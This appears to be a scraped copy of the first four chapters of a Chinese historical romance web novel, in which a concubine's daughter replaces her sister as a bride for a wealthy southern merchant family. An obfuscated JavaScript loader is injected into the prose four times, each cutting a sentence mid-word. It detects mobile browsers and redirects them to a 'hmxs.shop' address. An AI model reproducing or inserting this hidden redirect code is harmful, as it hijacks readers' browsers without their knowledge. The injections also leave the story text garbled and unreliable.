《夫君他从不越矩》 1. 替嫁 进入腊月之后，北地越发冷了，沈府暗潮涌动，因了经济不景气，已经打发了好几个下人。 夜里风大，又刚刚下了几场雪，风卷过残雪扑打着游廊下几盏昏黄绢灯。灯影摇曳，将沈玖鸢单薄身影，在地面上拉得忽长忽短。 沈玖鸢穿过游廊，从亭子间拾级而下。 迎面有声音，顺着风雪传入她耳膜。 “江南苏家聘礼，足足一百二十八抬，塞满了半个庭院。听说那苏瑾公子，风月多情，是万里挑一的……” 两个小婢女揣着手炉，叽叽喳喳从回廊那头过来，声音在撞见玖鸢时，戛然而止。 二人对视一眼，匆匆行礼，便擦身而过，窃窃私语随风飘来： “可惜了，嫡小姐闹成那样，这泼天的富贵，难不成真要落在她身上？” 江南苏氏，皇商巨贾，富甲天下。 沈氏以军功起家，掌北地盐铁，看似显赫，内里却因子弟奢靡，开支浩大，早已捉襟见肘。与苏家联姻，是沈家家主主沈寂，她那名义上的父亲，稳固权势填补亏空的一步重棋。 而被选中的棋子，正是嫡出长孙女沈芷兰。 玖鸢眉眼未动，皎白容色上毫无波澜般，她默默沿着台阶走下，又行了一段路，前面是一段曲折小径，铺着陈年旧砖，她能听到自己衣衫在地面上发出轻微窣窸声。 再走几步，转过弯就是紫草园，紫草园其实和荒废了差不多，三年前玖鸢娘不明不白身死，沈家便给娘匆匆葬在了这里，因了娘身份低微，家族甚至不许玖鸢娘入沈家祖坟。 乱草岗中有娘亲，一想到这些，玖鸢就难过得想哭。 “玖鸢小姐，”一个沉稳声音在身后响起，是老夫人身边的掌事嬷嬷，赵嬷嬷。 赵嬷嬷脸上带着惯有的恰到好处恭敬，眼底却无半分暖意，“老夫人请您过去一趟。” 玖鸢心想，该来的，终究来了。 玖鸢手有些冰冷，不由暗地里半握瘦拳，面上却不着半点痕迹，只是礼貌颔首：“有劳嬷嬷带路。” 玖鸢原本是想去看看娘亲的，娘亲坟茔就在隔壁，也就百十来米就到，但眼下是不可能了。 赵嬷嬷在前带路，走的极快，大约是得了老太太指令，玖鸢提了一口气在后面跟着，二人折身从另一条路一路疾行，不一会便到了“闲沁院”。 闲沁院是沈府家主沈寂为老太太辟出的一处静室，院子不大，却也有大大小小十几间屋子，此刻寿安堂内，暖香馥郁，地龙烧得如阳春三月。 沈老太太端坐紫檀木罗汉床上，穿着赭石色锦缎棉袍，上面绣着万字不断头金线纹，额间戴着昭君套，看到玖鸢进来，老太太原本严厉容色上，淡淡掠过一抹笑意。 老太太下首坐着沈寂正妻，如今的当家主母周氏，亦是沈芷兰的生母。 周氏快四十的妇人，因了保养得宜，脸上丰腴洇润，涂了淡淡脂膏，灯地里略有些妖娆。 “给祖母、母亲请安。”玖鸢敛衽行礼，声音清凌凌的，如碎玉投盘。 周氏抬起眼，目光锐利，在玖鸢身上扫过，玖鸢身上还是去年那件棉裙，裙角卷了边，材质是最普通不过的。 可玖鸢这张脸，却是即便不施半点脂粉，也足以令满室生辉。 看到这张脸，周氏便想起玖鸢那个娘，玖鸢娘长得一如玖鸢，皎若芙渠灿若星辰，即便不说话就是站在那里，也能令男子魂不守舍的那种。周氏心头涌起一阵厌恶，语气便带了几分不耐：“起来吧。叫你过来，是有件事要你去办。” 老太太缓缓点头，面上浮一层恰到好处慈悲。 “芷兰这孩子，昨日不小心染了风寒，病势来得凶猛，卧床不起。”老太太顿了顿，目光落在玖鸢脸上，“我沈家与苏家婚期已定，就在三日后，断无更改之理。苏家迎亲队伍，已到了城外驿站。” 老太太说及此处，略微停顿，从袖中摸出一方素绢揩揩嘴角，她虽没有说出下半句，但言下之意，便是苏家与沈家这门亲事，已是势在必行。 玖鸢心中冷笑。 风寒？以沈芷兰那性子，听闻要嫁去江南，在这之前早已闹了数月，昨日更是以死相逼，砸了满屋瓷器古玩，动静只怕半个府邸都听见了。如今不过是寻个由头，找个替身罢了。 老太太堂而皇之，一把年纪了，竟也愿意陪着沈寂及周氏两口子演戏。 玖鸢心下鄙视着这些人，但面子上去并无半点情绪波澜，只垂眸不语，静待下文。 周氏见玖鸢沉默，只当她怯懦，语气稍缓，却依旧是惯常冷厉： “玖鸢，你虽是庶出，但终究是沈家血脉。如今家族需用你之时，你当挺身而出。芷兰病着，这桩婚事，便由你代她去吧。” 周氏话说得冠冕堂皇，仿佛赐予了玖鸢天大恩典。 “代嫁？” 玖鸢终于抬起眼，眸光清澈，映着堂内烛火，竟让周氏心头一凛。 周氏心想，莫非玖鸢要拒绝替嫁？若是这样，少不得她要动用家族力量，强逼她，哪怕是拽着她，也要拽上出嫁轿子。 “母亲，女儿无才无德，只怕辱没了门楣，也怠慢了苏家公子。” “哼，若非不得已，这等好事岂会轮到你？” 周氏身边的管事婆子忍不住插嘴，被周氏一眼瞪了回去。 老太太叹口气，语气带着几分悲悯： “孩子，我们知道委屈了你。但家族兴衰，系于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677372|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此行。你且放心去，沈家不会亏待你。你生母的坟茔，我们会派人好生照看，四季香火不断。你弟弟在边关，我们也会多加打点，保他平安。” 软硬兼施，恩威并济。生母安宁，胞弟前程，便是悬在玖鸢头顶的利剑，也是系在她脖颈上的缰绳。 玖鸢抿嘴不语，心下已恨到了极点，若不是这些人，娘亲何至于死得不明不白。 弟弟何至于十七不到，便被发去边关从军。 如今老太太竟然拿着玖鸢娘亲和弟弟来胁迫于她，真真是往她心上捅刀子，这刀子虽不见血，却字字都如浸了血，让玖鸢恨意连绵，恨不得立刻就和这些人翻脸。 但是她隐忍了。 娘亲临终前紧握着玖鸢手，半口气吊在那儿，迟迟不想踏上黄泉路，咽泪于她： “鸢儿……活下去……查清……”未尽话语，成了玖鸢这些年午夜梦回的唯一执念。还有她那唯一弟弟，至今还在苦寒边关挣扎求存。 也因之，玖鸢眼下最需要权力，需要地位，需要一个名正言顺的身份，去查清母亲冤死真相，去庇护远方的弟弟。 沈家一向弃玖鸢如敝履，如今，却要亲手将她送上这条或许能通往青云之巅，也可能万劫不复的路。 玖鸢怎么可能拒绝！又怎么可能放过这唯一机会！ 想及此，玖鸢缓缓跪了下去，额头触在冰凉金砖地上，声音带着一丝恰到好处的恭顺与谦卑。 “孙女遵命。愿为家族分忧。” 周氏与老太太对视一眼，皆松了一口气。周氏脸上甚至挤出一丝笑意： “好孩子，快起来。这才是我沈家的好女儿。来人，带二小姐下去，好生梳洗打扮，三日后，风风光光出嫁！” “玖鸢谢过祖母与母亲大人。”玖鸢垂首恭敬回应，周氏道： “下去吧。” 玖鸢又最后给老太太和周氏行了礼，然后起身，垂眸退出。 门外风雪更急，吹得她衣袂翻飞。玖鸢回头望了一眼灯火通明的堂屋，眼神冰冷，再无半分方才怯懦。 回到僻静狭小院落，玖鸢掩上房门，从床底暗格中取出一本纸张泛黄，边缘破损的旧书，封面无字，然旧书内里却绘满奇花异草，记载着各种精妙医理毒方。 这是玖鸢母亲留下的唯一遗物。 玖鸢将书凑到灯地里，一张张翻过，翻到第九页时停住了。 泛黄纸页上，是一幅图，图上是一株草，旁边注着一行小字： 令箭宁。 玖鸢纤长手指抚过书页上的植物图样，唇角勾起一抹极淡极冷弧度。 “沈芷兰，你既不愿嫁，便好好病着吧。这泼天富贵，妹妹我却之不恭了。” 2. 锋芒 夜色如墨，沈芷兰所居的锦绣阁此刻却灯火通明，人仰马翻。 “滚！都给我滚出去！” 伴随着瓷器碎裂的刺耳声响，沈芷兰尖利声音穿透门扉，“让我嫁那个铜臭商人，除非我死！” 婢女婆子们跪了一地，瑟瑟发抖，无人敢上前。 周氏闻讯赶来，看着满地狼藉和女儿红肿双眼，又是心疼又是气恼。 “我的小祖宗，你这是要娘命啊。那苏瑾有什么不好？苏家富可敌国，你嫁过去便是嫡长孙媳，将来荣华富贵享之不尽。不比留在北地，嫁个武夫强？” “富可敌国？还不是个商户！士农工商，他苏家排在最末！我沈芷兰是国公府的嫡小姐，怎能自贬身份，与商贾为伍！”沈芷兰哭得梨花带雨，扯着周氏衣袖，“娘，我不嫁！我死也不嫁！” 周氏头痛欲裂，正欲再劝，忽闻外间婢女通报： “夫人，二小姐来了，说是听闻姐姐病重，特来探望，还带了自己调的安神香。” 周氏眉头一皱，刚想回绝，却见沈芷兰猛地抬起头，眼中射出怨毒的光：“她来做什么？来看我笑话吗？让她滚！” 话音未落，玖鸢已端着一个小小鎏金铜香炉，袅袅婷婷走了进来。 玖鸢换上了一身府里临时赶制的簇新棉裙，上配藕荷色绣折枝梅花，虽不及沈芷兰平日穿戴华贵，却更衬得她肤光胜雪，眉目如画。玖鸢似乎丝毫未觉屋内的紧张气氛，对着周氏盈盈一拜： “母亲。” 又转向沈芷兰，语气轻柔，“姐姐身子可好些了？妹妹调了些安神香，或可助姐姐宁神静气。” 香炉中青烟袅袅，散发出一股清冽香气，似梅似檀，闻之令人心绪莫名一静。 沈芷兰却像突然之间变得异常暴躁，抬头指着玖鸢，啐了一口道： “谁要你假好心！收起你那套狐媚子功夫！别以为我不知道你心里想什么，代我出嫁，你也配！” 闻言玖鸢并不动怒，只将香炉轻轻放在窗下矮几上，声音依旧温和： “姐姐说笑了。妹妹只是担心姐姐身体，苏家婚事已定，姐姐若一直这般郁结于心，伤了身子，岂不叫母亲心疼？” 玖鸢抬眼，目光似是不经意扫过沈芷兰因愤怒而扭曲的脸，“况且，姐姐乃金枝玉叶，何必为了不愿之事，徒惹烦恼，甚至伤及自身呢？” 玖鸢话语轻柔，却字字句句都敲打在沈芷兰心坎上。 沈芷兰怔了怔，看着玖鸢平静无波的脸，一股莫名寒意忽然从心底升起。 周氏见玖鸢如此懂事，心下稍慰，又见那香似乎真让女儿情绪稳定了些，便道： “还是玖鸢有心。兰儿，你好好歇着，莫要再闹了。事已至此，你若真不想嫁入苏家，自有你妹妹替你担着。所以你是闹什么脾气呢。” 周氏说罢，又安抚了沈芷兰几句，便带着人离开了，留下玖鸢和沈芷兰在屋内。 房门被带上，屋内只剩下姐妹二人。 沈芷兰死死瞪着玖鸢，胸口剧烈起伏。她一看到玖鸢这张脸，就莫明怒气冲天。 “瞧你这副样子，你以为是去苏家享福么，苏家岂是你这种人能高攀的！哪天只要让苏瑾知道你是我沈芷兰替身，看他会不会休了你，然后治你死罪！” 沈芷兰说到此处，从床上蹦到地下，拿起桌上一个茶碗，迎面朝着玖鸢脚底掼去。 砰！咔嚓！ 随着尖锐撞击声，茶碗在玖鸢脚底碎裂，碎片四处迸溅，有几粒瓷器碴子撞到玖鸢脚踝处，切入嫩肤，立刻便有血顺着棉布袜子洇了出来。 血渍刺目猩红。 玖鸢只是低头看了一眼，便仿佛什么事也没发生一般，这些年，沈芷兰打她骂她已是常事，她没有反抗过，所有屈辱都被她一笔一笔记着。 到时候，她要连本带利，再一笔一笔讨回来。 玖鸢缓缓走到窗边，看着窗外沉寂夜色，声音轻得仿佛叹息： “沈芷兰，我允许你最后再践踏我一次，再过几天我就要嫁入江南，成为苏府少夫人，而你，不过是风月场上的玩物，最多只是那人一个妾而已。” “哈哈！”玖鸢突然回身大笑，不屑看向沈家这个宠儿。 玖鸢许久没有这样大笑过，她一直谨小慎微，活得小心奕奕，但此刻她不想再装下去。 沈芷兰尖笑，“玖鸢，你这个贱婢，你敢直呼我沈芷兰？什么叫我是妾，玖鸢你给我听着，但凡我不松口，但凡我不同意，你就一万个嫁不了苏瑾！” 沈芷兰尖利地笑着，一脸怨毒，拨下鬓边华美紫金摇正要刺向玖鸢，身子一软，却又坐在了床沿上。 玖鸢不屑看了她一眼，道：“沈芷兰，眼下我嫁与不嫁苏瑾，还由得了你么，再说了，你舍得离开那个姓谢男人么，他可是十里长街第一才子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677373|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你只管和他吟风弄月就可。” 闻言沈芷兰全身一震，面色微变：“你，你胡说什么！” 谢明月，是她唯一软肋。 “姐姐腕上的车磲串，似乎不是府中之物吧？” 玖鸢目光落在对方手腕上，“还有，你枕下那些谢生赠物，若被父亲知晓……” 沈芷兰浑身发抖，指着玖鸢，嘴唇哆嗦着，却说不出一个字。她最大的秘密，竟被这个她从未放在眼里的庶妹知晓！ “姐姐不必惊慌。” 玖鸢走近几步，安神香的气息愈发浓郁，“妹妹并无恶意，只是提醒姐姐，有些路走错了，便是万丈深渊。嫁入苏家，至少能保全你名声，保全沈家的颜面。不过可惜你错过了，至于那位谢郎……” 玖鸢顿了顿，声音带着一丝若有若无蛊惑，“若他真心待你，也未尝不可，来日方长，你若与他私好，或许晋升为正室也差不多。” 玖鸢说着，又发出数缕冷笑。 沈芷兰怔怔看着玖鸢，眼前的玖鸢仿佛变了一个人，不再是那个沉默寡言，任人欺凌的庶女，而是一个掌控着秘密，令人心生畏惧的存在。 此刻香气丝丝缕缕钻入鼻息，沈芷兰只觉得头脑一阵昏沉，浑身力气仿佛被抽走，竟连起身力气都没有，软软地瘫倒在榻上。 “你……你对我做了什么……”到了此刻，沈芷兰才惊觉玖鸢所谓的安宁香有问题，她一下子惊恐万分。 玖鸢俯下身，盯牢沈芷兰，眼神却冰冷如霜： “没什么，只是安魂香而已。你不是病了么，我需要你躺在这里，闭上嘴巴，在我嫁入苏家之前，不要再兴风作浪。” 这些话一字一句落在沈芷兰耳中，竟有如晴天劈雷一般。她没有想到，玖鸢竟然是愿意替嫁的，竟然如此迫不及待想要嫁入江南苏家！ 沈芷兰想喊，却已经发不出声，任由玖鸢将她放倒在被子上，眼睁睁看着玖鸢转过身，吹熄烛火。 玖鸢吹熄了大部分烛火，只留角落一盏。昏暗光线中，她看着沈芷兰逐渐涣散的眼神，低声道： “这安魂香气，会让你安安稳稳病上一段时日。足够我代替你，走进那龙潭虎穴了。” 说完，玖鸢不再看沈芷兰一眼，转身悄然离去，如同来时一般安静。 窗外，雪不知何时停了，一弯冷月悬在天际，清辉洒在残雪上，反射出幽寂冷光。 3. 初谋 三日转瞬即过。 沈府张灯结彩，披红挂绿，一派喜庆景象。只是这喜庆之下，涌动着一股难以言说的神秘气氛。 下人们步履匆匆，交换着心照不宣眼神，大小姐沈芷兰病重不起，由二小姐玖鸢代嫁的消息，早已在府内悄然传开。 北地的清晨，天色是那种浸了寒水的鸭蛋青，稀薄日光挣扎着穿透云层，落在沈府琉璃瓦上，反射出冰封雪霁般寒光。 一大早，仆从们身着崭新青衣小褂，步履匆匆，穿梭如织，将红绸悬挂上廊檐树梢上，各处都悬挂了四季宫灯，厨房间笑语喧哗，毕竟今天是一个好日子，沈家庶女沈玖鸢，要嫁与南方富家公子苏家大少爷。 虽说沈玖鸢是庶女，因了此次玖鸢小姐是替大小姐沈芷兰出嫁，周氏两口子便动作大了点，一应出嫁派头便刻意体面了一些，给足了玖鸢面子。 玖鸢坐在临时充作闺房的暖香坞里，这里平日是招待女客的处所，远比她那个偏僻小院华丽宽敞。 紫檀木雕花梳妆台前，玖鸢绝美容颜上没有任何表情，任由周氏精心挑选来的全福嬷嬷和婢女们摆布。 空气中弥漫着头油、脂粉与熏香混合的气味，醺得玖鸢差点呕出来。 嬷嬷一双手在玖鸢如瀑青丝间穿梭，篦子蘸着浸泡了玫瑰花瓣的头油，一遍遍梳理，试图将玖鸢每一根发丝都驯服得光滑如缎。 发根被绷紧的刺痛感阵阵传来，玖鸢却恍若未觉，只定定望着铜镜中那张被一点点描绘，变得陌生而秾丽的脸。 胭脂是上好的金陵胭脂膏，用细簪子挑上一点，化在掌心，兑了露水，一点点拍上双颊，玖鸢脸上立刻便晕开两团娇艳的桃花色。 眉是远山黛，经了嬷嬷仔细描画，延伸出婉约弧度。唇上点了饱满口脂，是正宫红，衬得玖鸢本就雪白的肌肤，更是透出一种莹润光泽。 “二小姐，瞧老奴这记性，该叫大小姐了！” 全福嬷嬷一边为玖鸢戴上赤金点翠垂珠步摇，一边陪着笑脸，“您这容貌，老奴梳头妆扮了半辈子，也是头一遭见到这般标致的。便是天上仙女，怕也不过如此罢了。” 周围丫环们也齐齐赞叹，然而赞叹之后，却私下里也替玖鸢捏了一把汗。 毕竟，谁都知道，这凤冠霞帔之下，是怎样的尴尬与艰难。 玖鸢唇角微微牵动，算是回应了一个极淡的笑意，未达眼底。镜中人，眉眼精致，华服加身，确然是倾国倾城之姿。可这美绝之下，此刻更像一层华丽面具，掩盖着玖鸢内里无数挣扎。 大红嫁衣是几十个绣娘连夜赶工，依照沈芷兰尺寸改制而成。用的是江南进贡的云锦，上用金线掺着彩丝，绣着繁复鸾凤和鸣图案，在光线下流转着华丽光泽。只是穿在玖鸢身上，仍显得有些空落，尤其是腰身处，需得悄悄在内里收拢几分，才不至于太过晃荡。 最后，是那顶沉甸甸宝石凤冠。 这是苏家送来的凤冠，赤金点翠，尤缀了宝石。 此刻这顶凤冠，由两个婢女小心翼翼从铺着软绒的托盘上捧起，缓缓戴在玖鸢发髻上。 凤冠极重，戴在玖鸢头上，仿佛要将她纤细颈骨压弯。 冠上垂下珠珞流苏，在玖鸢眼前微微晃动，碰撞出细碎清冷声响，扰乱了视线，也像是在她与世界之间，隔开了一道摇曳珠帘。 “小姐，且忍一忍，这凤冠瞧着重，却是顶顶的体面。” 赵嬷嬷在一旁低声说道，语气依旧是那副公事公办的调子。 玖鸢微微颔首，没有言语。 体面？沈家的体面，如今要靠一个弃女来维系，何其讽刺。玖鸢调整了一下呼吸，努力挺直脊背，承受着这份体面带来的重量。 吉时将至，外面鼓乐声、鞭炮声、人语喧哗声越来越清晰，如同潮水般涌进这间暂时隔绝的屋子。 一个小婢女气喘吁吁跑进来禀报： “花轿已经到了府门外，苏家迎亲的队伍，好生气派！” 周氏在一群婆子簇拥下走了进来。 周氏今日穿着诰命夫人礼服，绛紫色派系，上有缠枝牡丹纹，头戴珠翠，妆容得体，脸上挂着恰到好处笑容，她上前，亲自为玖鸢理了理本就已经无比平整的衣领，又拿起一旁托盘上的大红盖头。 盖头用的是极品软烟罗，轻薄如蝉翼，却又密不透光，上面用金线绣着鸳鸯戏水的图样。 “玖鸢，”周氏声音带着一丝刻意营造的哽咽，握住玖鸢手，悲伤不已般，“今日一别，你便是苏家妇。往后要谨守妇道，相夫教子，莫要辱没了沈家的门风。” 周氏顿了顿，目光似有深意地在玖鸢脸上停留一瞬，“兰儿病着，无法为你送行，你莫要怪她。到了江南，一切好自为之。” 好自为之四个字，轻飘飘的，却蕴含着无尽的敲打与警告。 玖鸢垂下眼帘，遮住眸底一闪而过的冷嘲。 她微微屈膝，行了一个标准大礼，声音透过即将覆上的盖头，平静无波传出。 “玖鸢拜别母亲。多年养育之恩，铭记于心。今日远去，定当恪尽职分，不负家族所托。” 玖鸢将养育之恩和家族所托几个字，咬得清晰而平稳，听不出丝毫情绪。 周氏似乎松了口气，又将目光转向一旁的赵嬷嬷，吩咐道：“路上仔细照料大小姐。” “老奴省得。”赵嬷嬷躬身应道。 终于，周氏手中举着的红盖头，缓缓落在玖鸢头上额上，彻底隔绝了玖鸢视线。 眼前只剩下一片无边无际的红色，外界声音仿佛瞬间被放大，脚步声，环佩叮当声，自己心跳声，在玖鸢耳边交织回响。 玖鸢在喜娘一左一右搀扶下，缓缓起身。 凤冠重量让玖鸢身形微晃，但很快便稳住了。 脚步踏在铺着红毡地面上，裙裾曳地，环佩轻摇，发出有节奏的庄重声响。 穿过一道道回廊，经过一重重门扉。 玖鸢能感觉到沿途投射而来的无数目光，好奇探究，怜悯的幸灾乐祸的，如同细密雨丝，袅袅埏埏浇在她背上，和着冷空气一起浸入她内衬衣服。 这么冷的天，玖鸢竟然出汗了。或许是紧张所致。 那些忽隐忽现窃窃私语，也断断续续飘入耳中。 “真真是造化弄人……” “谁说不是呢，这般品貌，若是嫡出……” “听说苏家那位长孙，也不是简单角色，这福气，还不知道能不能接住呢……” “总好过留在府里，看人脸色……” 玖鸢置若罔闻，所有感官与心神，都集中于脚下这条路，以及前方未知的命运。袖中，玖鸢手指微微蜷缩，指尖触及藏在袖袋暗格里一个冰凉硬物，是一枚母亲留下的令牌，材质非金非玉，上面刻着古老纹路，是她身世之谜的唯一线索，也是她此刻内心唯一倚仗。 府门外，喧闹声达到了顶峰。 鞭炮炸响，硫磺气味弥漫。鼓乐班子卖力吹打着《凤求凰》曲调，喜庆而喧阗。 当玖鸢被搀扶着迈过高高门槛时，即便隔着盖头，也能感觉到外面明亮的光线，以及无数人汇聚而来的视线。 沈家家主沈寂与周氏，作为家主和主母，站在府门前最显眼位置，接受着宾客的道贺。 沈寂身着国公朝服，面容肃穆，偶尔颔首，威仪十足。周氏则始终维持着那完美无缺混合着骄傲与不舍的表情。 玖鸢在喜娘指引下，转向他们，再次深深拜下。这是最后告别，也是做给所有人看的戏码。 “去吧。”沈寂沉厚声音传来，冰凉又严厉，依旧是没有半点温度。 起身，转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677374|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身，喜娘小心翼翼扶着玖鸢，一步步走下汉白玉台阶。 每一步，都离那个禁锢了玖鸢十七年的牢笼远一步。台阶下，八人抬的描金刺绣大红喜轿，静静等待着她。 轿身以名贵木材制成，通体朱漆，上面用金粉描绘着百子千孙、富贵牡丹图案，在冬日稀薄阳光下，熠熠生辉，几乎晃花了人眼。 轿帘以金线绣着龙凤呈祥，四周垂着大红流苏。 轿夫皆是精壮汉子，身着统一红绸短褂，肃然而立。整个迎亲队伍，从仪仗、乐队到仆从、护卫，浩浩荡荡，排出数里之远，无声彰显着江南苏氏的泼天富贵与深厚底蕴。 就在玖鸢弯腰，准备踏入轿门的那一刻，异变陡生！ 一股不知从何而来的疾风，毫无预兆席卷而过，力道强劲，猛地掀起了玖鸢大红盖头的前襟！ “啊！”周围响起一片低低惊呼。 刹那间，时间仿佛凝滞了一瞬。 只见新娘子半张脸暴露在光天化日之下，肤光胜雪，细腻得不见丝毫毛孔。挺翘鼻梁勾勒出完美侧颜线条，长长睫毛如同蝶翼，在眼底投下一小片淡淡阴影。那一点朱唇，因这突如其来的变故而微微抿起，非但没有惊慌失措，反而更添了一种惊心动魄冷冽的美。 玖鸢甚至没有发出任何声音，只是伸出纤纤玉手，指尖稳定得没有一丝颤抖，从容优雅地将被风吹起的盖头布料重新拉下，整理好，覆住容颜。 整个动作行云流水，仿佛只是拂去衣袖上一点微尘。 风过无痕，却在众多苏家仆从，迎亲宾客以及围观路人心中，留下了惊鸿一影。那是一种超越单纯美貌，源自骨子里的镇定与气度。 人群中，一个穿着靛蓝色暗纹云锦长袍，外罩玄狐毛领披风的年轻男子，原本抱臂倚在一匹神骏白马旁，带着几分漫不经心，此刻不由微微直起身子，俊朗脸上玩世不恭的笑容收敛了几分，一双凤眸中闪过一丝毫不掩饰的讶异与兴味。 他便是苏瑾堂弟，苏家二房嫡子苏虞，此次代表苏家前来迎亲。 “这位沈芷兰小姐……”苏虞摸了摸下巴，低声自语，唇角重新勾起一抹意味深长弧度，“倒是比传闻中有趣得多。看来，我那堂兄的后院，日后要热闹了。” 玖鸢对此一无所知。 她已稳稳坐进花轿，轿帘落下，将外界所有喧嚣、目光、探究，彻底隔绝。 轿内空间宽敞，铺着厚厚猩红地毯，设有软垫，角落里还放置着一个固定的小小熏笼，里面燃着淡淡薰衣草香。 轿子被稳稳抬起的那一刻，轻微失重感传来。随即，队伍开始缓缓移动，鼓乐声再次高亢响起，鞭炮也重新炸开，一切恢复了表面的喜庆与有序。 玖鸢静静坐着。 直到轿子行出了一段距离，沈府那象征着权势与束缚的巍峨门楼，彻底消失在视线可及范围之外，玖鸢才缓缓地深深吸了一口气，又缓缓吐出。 然后，玖鸢抬起手，这一次，没有任何犹豫，轻轻掀开厚重盖头，将其搭在凤冠之上。 眼前骤然明亮，玖鸢透过镶嵌着琉璃的小小轿窗，望向外面飞速掠过的陌生街景。 北地冬日，草木凋零，屋舍俨然，行人面带风霜。这与她想象中杏花春雨的江南，是何等不同。 玖鸢低头，看着自己身上这身华丽到刺眼的大红嫁衣，唇角那抹一直压抑着的冰冷弧度，终于不再掩饰，清晰浮现出来。 从今日起，她便是暂时脱离了沈府，从今后，她所有生存掌握在自己手中，她生或者死，将不再听命于任何人，所有过往，皆为序章。 花轿晃晃悠悠，载着眼神燃起熊熊烈焰的佳人，驶出了这座冰冷的北方雄城，驶向烟雨朦胧却也波谲云诡的南方。 前路漫漫，吉凶未卜。但玖鸢心中，已无半分彷徨。 4. 南地 离了北地沈氏城池，送嫁队伍一路向南。 前行了一段路程之后，凛冽北风渐渐失了锐气，空气中开始掺杂进湿润若有若无暖意。 官道两旁景色，也从枯枝败雪的肃杀，悄然过渡到零星绿意，经冬未凋，可见得南方冬天的确比北方舒适。 花轿之内，玖鸢早已将盖头彻底掀开，凤冠也小心翼翼取下，置于身旁软垫上。 取了凤冠之后，玖鸢脖颈上骤然轻松，她稍微活动一下臂肘和脚踝，瓷片割破的脚踝处还有点疼痛，这都是拜沈芷兰所赐。 玖鸢扭过头，目光透过右侧琉璃窗口，静静看着外面。 苏家果然不愧是江南大户，这次娶亲排场极大，护卫森严，仆从如云，人虽然是多，但一路行来竟然是听不到半点喧哗，显是累世大族积淀下的章法。 这与沈氏那种依靠军功起家，难免带些武夫粗豪气的门风截然不同。江南苏氏，以商立本，最重规矩与脸面，也最是绵里藏针，笑里藏刀。 玖鸢心下明镜似地，自己此番踏入的，绝非仅仅是另一个豪门宅院，而是一个更为精致也更为凶险的战场。 迎亲队伍白日行路，夜晚则宿在苏家早已打点好的各处驿馆或别院。每一处都布置得舒适奢华，一应物品俱全，伺候的仆妇也皆是低眉顺目，礼数周全，挑不出半分错处。 然而即便是这样，玖鸢还是能感觉到那些无处不在的陌生窥探，还有未来主子与仆从之间的疏离，她不敢有半分疏忽。 玖鸢始终保持着一种恰到好处的沉默与柔顺。 不多言，不多问，举止端庄，用餐起居极有规矩，让人寻不到丝毫沈氏武将家风的粗疏。 玖鸢甚至会在驿馆庭院中，对着南方遥遥一拜，口中低声祈愿姐姐沈芷兰早日康复，姿态恳切，情真意挚，落在苏家仆从眼中，自是觉得这位新夫人虽出身将门，却难得的知礼重情。 唯有在夜深人静，独处一室时，玖鸢取出母亲留下的那本无名书卷，还有那枚冰凉的身份令牌，于灯下默默注目，眼中方才流露出与白日截然不同的深沉与坚韧。 如此行了约莫半月余，车马终于踏入了江南地界。 这一日，轿窗外景致大变。 窗外不再是黄土官道，取而代之是纵横交错的水网，石桥如虹，舟楫往来如织。空气湿润得能拧出水来，带着泥土与水草的清新气息。 远处田畴阡陌，虽在冬季，仍可见大片精心养护的绿意，那是过冬的麦苗或是常青树木。 村落白墙黛瓦，错落有致，与北地浑厚朴拙迥然相异，别有一番精巧雅致的韵味。 “小姐，前面就到金陵地界了。” 轿外，名唤铃兰的婢女隔着轿帘小声禀报，这是沈家陪嫁婢女，以前是周氏身边的人，这次周氏大约觉得玖鸢替了她女儿远嫁，心下喜悦，便破天荒拨了一个丫头给玖鸢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677375|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过，玖鸢也轻易并不敢太信任铃兰，毕竟是周氏的人，人心难测。 玖鸢淡淡“嗯”了一声，重新将凤冠戴好，又以盖头覆面。她知道，真正的考验，即将开始。 队伍又行了大半日，轿子速度缓了下来，外界喧闹声也逐渐鼎沸，似乎穿过了极为热闹的市集，人声、叫卖声、车马声不绝于耳。 良久，轿身微微一沉，似是过了某道门槛，周遭瞬间安静了许多，只余下轿夫整齐的脚步声在空旷处回响。 终于，轿子彻底停稳。 